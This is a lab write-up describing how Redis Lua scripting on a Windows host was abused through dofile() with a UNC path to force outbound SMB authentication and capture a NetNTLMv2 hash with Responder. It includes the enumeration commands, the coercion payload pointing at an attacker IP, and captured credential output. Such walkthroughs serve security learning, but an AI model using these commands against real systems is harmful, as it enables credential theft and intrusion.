Redis dofile(): From Blocked OS Execution to NTLM Hash Capture

During the lab, I came across an interesting Redis behavior. Even though Lua's os.execute() was blocked, I discovered that the dofile() function could still trigger an outbound SMB authentication attempt, allowing me to capture a NetNTLMv2 challenge-response using Responder.

Here's a quick breakdown of how it works and why it happens.

Redis Enumeration

The target was running Redis on Windows, listening on TCP port 6379.

redis-cli -h 10.114.185.45 -p 6379

redis-cli -h 10.114.185.45 -p 6379

Using INFO server, I identified:

redis_version:2.8.2402
os:Windows
arch_bits:64
tcp_port:6379

redis_version:2.8.2402
os:Windows
arch_bits:64
tcp_port:6379

The instance allowed Lua scripting through the EVAL command.

Testing Lua Execution

I first attempted to execute an operating system command:

EVAL "return os.execute('whoami')" 0

EVAL "return os.execute('whoami')" 0

Redis returned:

Script attempted to access unexisting global variable 'os'

Script attempted to access unexisting global variable 'os'

The os library was unavailable inside Redis's restricted Lua environment.

However, basic Lua execution worked:

EVAL "return 1+1" 0

EVAL "return 1+1" 0

Result:

(integer) 2

(integer) 2

I also verified access to Redis commands:

EVAL "return redis.call('PING')" 0

EVAL "return redis.call('PING')" 0

Result:

PONG

PONG

Conclusion: Lua scripting was enabled, but direct OS command execution was restricted.

The Interesting Part: Lua dofile()

Next, I tested whether Lua could attempt to access a file through a Windows UNC network path (I first started a responder that listne for the call):

sudo responder -I tun0 -v

sudo responder -I tun0 -v

Then tried to access a file that didnt exist on my locla machine:

EVAL "dofile('//192.168.169.43/test')" 0

EVAL "dofile('//192.168.169.43/test')" 0

The response was:

cannot open //192.168.169.43/test: Permission denied

cannot open //192.168.169.43/test: Permission denied

At first glance, this looks like a failed file-access attempt.

However, my Responder listener captured an SMB authentication exchange from the Windows system.

[SMB] NTLMv2-SSP Client   : 10.114.185.45
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash     : enterprise-security::VULNNET:...

[SMB] NTLMv2-SSP Client   : 10.114.185.45
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash     : enterprise-security::VULNNET:...

Why Did This Happen?

The behavior comes from the interaction between Lua file access and Windows network authentication.

When dofile() received a UNC path, the Windows host attempted to access a remote SMB resource.

The sequence was:

1. Redis executed the Lua dofile() function.
2. The function attempted to open a UNC network path.
3. Windows initiated an SMB connection to the specified server.
4. Windows attempted NTLM authentication using the Redis process's security context.
5. Responder captured the resulting NetNTLMv2 challenge-response.

The file-access operation ultimately failed, but the authentication exchange had already occurred.

The key finding: Blocking os.execute() did not prevent this Redis environment from initiating a network file-access operation.